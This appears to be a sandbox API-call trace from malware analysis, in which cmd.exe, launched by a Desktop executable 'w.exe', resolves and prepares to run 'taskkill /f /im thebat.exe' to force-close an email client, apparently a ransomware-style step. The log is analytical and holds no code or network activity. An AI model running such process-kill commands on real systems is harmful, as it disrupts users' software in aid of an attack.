	[0047.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x17f904, lpFilePart=0x17f900 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x17f900*="Desktop") returned 0x25
	[0047.554] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.554] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x17f680 | out: lpFindFileData=0x17f680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x261e88
	[0047.554] FindClose (in: hFindFile=0x261e88 | out: hFindFile=0x261e88) returned 1
	[0047.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x17f680 | out: lpFindFileData=0x17f680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x261e88
	[0047.554] FindClose (in: hFindFile=0x261e88 | out: hFindFile=0x261e88) returned 1
	[0047.554] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0047.554] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x17f680 | out: lpFindFileData=0x17f680*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x261e88
	[0047.554] FindClose (in: hFindFile=0x261e88 | out: hFindFile=0x261e88) returned 1
	[0047.554] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.555] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0047.555] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x264b80 | out: hHeap=0x250000) returned 1
	[0047.555] GetEnvironmentStringsW () returned 0x264090*
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb36) returned 0x265ed0
	[0047.555] FreeEnvironmentStringsW (penv=0x264090) returned 1
	[0047.555] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a8c5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265670 | out: hHeap=0x250000) returned 1
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x400e) returned 0x266a10
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x261e88
	[0047.555] GetProcessHeap () returned 0x250000
	[0047.555] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4008) returned 0x26aa28
	[0047.556] GetProcessHeap () returned 0x250000
	[0047.556] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x4008) returned 0x26ea38
	[0047.557] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x418) returned 0x262d60
	[0047.558] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.558] SetErrorMode (uMode=0x1) returned 0x0
	[0047.558] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x262d68, lpFilePart=0x17f87c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x17f87c*="f") returned 0x31
	[0047.558] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x262d60, Size=0x8a) returned 0x262d60
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x262d60) returned 0x8a
	[0047.558] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x72) returned 0x272a60
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xd8) returned 0x262df8
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x262df8, Size=0x72) returned 0x262df8
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x262df8) returned 0x72
	[0047.558] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.558] GetProcessHeap () returned 0x250000
	[0047.558] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe0) returned 0x262e78
	[0047.562] GetProcessHeap () returned 0x250000
	[0047.562] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x262e78, Size=0x76) returned 0x262e78
	[0047.562] GetProcessHeap () returned 0x250000
	[0047.562] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x262e78) returned 0x76
	[0047.562] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.562] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im thebat.exe ", fInfoLevelId=0x1, lpFindFileData=0x17f618, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17f618) returned 0xffffffff
	[0047.562] GetLastError () returned 0x3
	[0047.563] GetProcessHeap () returned 0x250000
	[0047.563] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26aa28 | out: hHeap=0x250000) returned 1
	[0047.563] GetProcessHeap () returned 0x250000
	[0047.563] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ea38 | out: hHeap=0x250000) returned 1
	[0047.563] GetProcessHeap () returned 0x250000
	[0047.563] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x266a10 | out: hHeap=0x250000) returned 1
	[0047.563] GetConsoleOutputCP () returned 0x1b5
	[0047.563] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8c4260 | out: lpCPInfo=0x4a8c4260) returned 1
	[0047.563] GetUserDefaultLCID () returned 0x409
	[0047.563] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a8c4950, cchData=8 | out: lpLCData=":") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x17fa44, cchData=128 | out: lpLCData="0") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x17fa44, cchData=128 | out: lpLCData="0") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x17fa44, cchData=128 | out: lpLCData="1") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a8c4940, cchData=8 | out: lpLCData="/") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a8c4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a8c4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a8c4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a8c4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a8c4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a8c4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a8c4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a8c4930, cchData=8 | out: lpLCData=".") returned 2
	[0047.564] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a8c4920, cchData=8 | out: lpLCData=",") returned 2
	[0047.564] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0047.565] GetProcessHeap () returned 0x250000
	[0047.565] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x20c) returned 0x262f30
	[0047.565] GetConsoleTitleW (in: lpConsoleTitle=0x262f30, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.566] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.566] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0047.566] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0047.566] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0047.567] GetProcessHeap () returned 0x250000
	[0047.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x400a) returned 0x266a10
	[0047.567] GetProcessHeap () returned 0x250000
	[0047.567] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x266a10 | out: hHeap=0x250000) returned 1
	[0047.567] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0047.567] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0047.567] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0047.567] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0047.567] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0047.567] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0047.567] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0047.567] GetProcessHeap () returned 0x250000
	[0047.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x58) returned 0x263148
	[0047.567] GetProcessHeap () returned 0x250000
	[0047.567] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1a) returned 0x265710
	[0047.568] GetProcessHeap () returned 0x250000
	[0047.568] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x30) returned 0x2631a8
	[0047.568] GetConsoleTitleW (in: lpConsoleTitle=0x17f73c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.569] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.569] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.569] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.569] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.569] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.569] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.569] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.569] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.569] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.569] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.569] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.569] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.569] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.569] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.569] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.569] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.569] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.569] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.569] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.569] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.570] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.570] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.570] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.570] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.570] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.570] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.570] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.570] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.570] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.570] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.570] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.570] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.570] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.570] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.570] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.570] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.570] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.570] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.570] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.570] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0047.570] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0047.570] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0047.570] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0047.570] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0047.570] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0047.570] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0047.570] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0047.570] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0047.571] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0047.571] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0047.571] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0047.571] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0047.571] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0047.571] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0047.571] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0047.571] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0047.571] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0047.571] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0047.571] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0047.571] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0047.571] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0047.571] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0047.571] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0047.571] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0047.571] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0047.571] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0047.571] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0047.571] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0047.571] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0047.571] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0047.571] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0047.571] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0047.571] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0047.571] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0047.571] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0047.571] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0047.571] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0047.571] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0047.571] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0047.571] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0047.571] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0047.571] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0047.572] GetProcessHeap () returned 0x250000
	[0047.572] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x210) returned 0x2631e0
	[0047.572] GetProcessHeap () returned 0x250000
	[0047.572] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x42) returned 0x2633f8
	[0047.572] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.572] GetProcessHeap () returned 0x250000
	[0047.572] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x418) returned 0x2507f0
	[0047.572] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.572] SetErrorMode (uMode=0x1) returned 0x0
	[0047.572] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2507f8, lpFilePart=0x17f25c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x17f25c*="Desktop") returned 0x25
	[0047.572] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.572] GetProcessHeap () returned 0x250000
	[0047.572] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x2507f0, Size=0x66) returned 0x2507f0
	[0047.572] GetProcessHeap () returned 0x250000
	[0047.572] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2507f0) returned 0x66
	[0047.573] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.573] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0047.573] GetProcessHeap () returned 0x250000
	[0047.573] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x120) returned 0x263448
	[0047.573] GetProcessHeap () returned 0x250000
	[0047.573] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x238) returned 0x250860
	[0047.575] GetProcessHeap () returned 0x250000
	[0047.575] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x250860, Size=0x122) returned 0x250860
	[0047.575] GetProcessHeap () returned 0x250000
	[0047.575] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x250860) returned 0x122
	[0047.575] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a8d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.575] GetProcessHeap () returned 0x250000
	[0047.575] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe0) returned 0x250990
	[0047.575] GetProcessHeap () returned 0x250000
	[0047.575] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x250990, Size=0x76) returned 0x250990
	[0047.575] GetProcessHeap () returned 0x250000
	[0047.575] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x250990) returned 0x76
	[0047.575] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x17efd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17efd8) returned 0xffffffff
	[0047.575] GetLastError () returned 0x2
	[0047.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x17efd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17efd8) returned 0xffffffff
	[0047.575] GetLastError () returned 0x2
	[0047.575] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0047.576] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x17efd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17efd8) returned 0x263570
	[0047.576] GetProcessHeap () returned 0x250000
	[0047.576] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x14) returned 0x250a10
	[0047.576] FindClose (in: hFindFile=0x263570 | out: hFindFile=0x263570) returned 1
	[0047.576] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x17efd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17efd8) returned 0xffffffff
	[0047.576] GetLastError () returned 0x2
	[0047.576] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x17efd8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17efd8) returned 0x263570
	[0047.576] GetProcessHeap () returned 0x250000
	[0047.576] RtlReAllocateHeap (Heap=0x250000, Flags=0x0, Ptr=0x250a10, Size=0x4) returned 0x250a10
	[0047.576] FindClose (in: hFindFile=0x263570 | out: hFindFile=0x263570) returned 1
	[0047.576] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0047.576] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0047.576] GetConsoleTitleW (in: lpConsoleTitle=0x17f4d0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0047.576] InitializeProcThreadAttributeList (in: lpAttributeList=0x17f358, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x17f420 | out: lpAttributeList=0x17f358, lpSize=0x17f420) returned 1
	[0047.576] UpdateProcThreadAttribute (in: lpAttributeList=0x17f358, dwFlags=0x0, Attribute=0x60001, lpValue=0x17f418, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x17f358, lpPreviousValue=0x0) returned 1
	[0047.576] GetStartupInfoW (in: lpStartupInfo=0x17f314 | out: lpStartupInfo=0x17f314*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0047.577] GetProcessHeap () returned 0x250000
	[0047.577] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x263570
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
